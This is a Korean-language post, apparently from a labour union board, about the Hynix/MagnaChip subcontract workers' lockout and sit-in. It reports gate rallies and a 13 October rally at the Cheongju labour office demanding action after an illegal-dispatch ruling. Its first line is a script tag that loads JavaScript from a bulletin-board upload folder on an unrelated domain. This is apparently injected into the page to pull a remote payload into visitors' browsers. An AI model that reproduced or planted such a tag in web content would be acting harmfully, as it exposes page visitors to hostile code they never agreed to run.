<SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/young/brod.js></script> <동영상>청주 지방노동사무소 충북지노위 타격 투쟁!!!
!!!비정규직 철폐!!!
!!!정규직화쟁취!!!
!!!민주노조 사수!!!
!!비정규직 하이닉스 &매그나칩 사내하청 투쟁승리!!
!!하이닉스& 매그나칩 사내하청지회 직장폐쇄 295일, 10월 13일 천막농성 270일째!!
비정규, 하청노동자가 노조를 만들었다는 단하나 이유로 하루아침에 길거리로 쫓겨난 하이닉스매그나칩 사내하청
노동자들이 11개월의 기나긴 투쟁을 이어가고 있습니다.
자본과 정권은 신자유주의 세계화 정책에 의해, 자본의 노동자에 대한 착취가 전체노동자의 생존권을 위협하는 심각한지경입니다.

하이닉스매그나칩사내하청지회는 1년 가까이 하청노동자의 피눈물을 외면하고있는 악질원청자본에 대하여 즉각교섭과 조속히 사태해결을
촉구하며 10월 12,13일 양일간 정문을 비롯한 북문 후문 3문 집회 투쟁을 진행하였습니다.

11개월째 생존권을 박탈당한 채 고난 속에 강행군을 벌이고 있는 하이닉스매그나칩 사내하청노동자들은 죽을순 있어도 물러설순 없는
투쟁이기에 힘겨운 생계투쟁 중에도 반인권 악질살인 노동자 대량학살 하이닉스 &매그나칩 자본 규탄집회를 진행하며
이후 강력한 투쟁으로 반드시 승리 할것을 결의 하였습니다,

하이닉스매그나칩 사내하청지회는 13일 오후 3시 청주지방노동사무소 앞에서 전조합원이 참석한 가운데 ‘일터 복귀’촉구 집회를 열고,
대표자를 선정해 청주지방노동사무소장과 충북지방노동위원회 위원장 등과 면담을 가졌습니다.
청주지방노동사무소에 대해 “사내하청조합원들이 1년여 가까이 거리로 내몰린 원죄를 청주지방노동사무소가 지고 있다며 “불법파견
판정이 났음에도 정부의 권위를 무시하고 기업의 사회적 책무을 다하지 않는 기업인에 대해 모든 행정적·사법적 조치를 내려
하이닉스매그나칩측이 사내하청지회와의 협상 테이블에 나오도록 하라”고 촉구하였습니다.
이어 “불법파견 판정에 따른 하이닉스매그나칩의 시정계획서와 관련, 사건을 검찰에 송치하는 것으로 노동자를 위한 노동사무소의 일이
끝났다고 생각하면 안 된다”며 “회사가 어려울 때 상여금까지 반납하고도 거리로 내몰린 노동자들의 아픔을 아는 것이
노동사무소의 책무”라고 질타했습니다.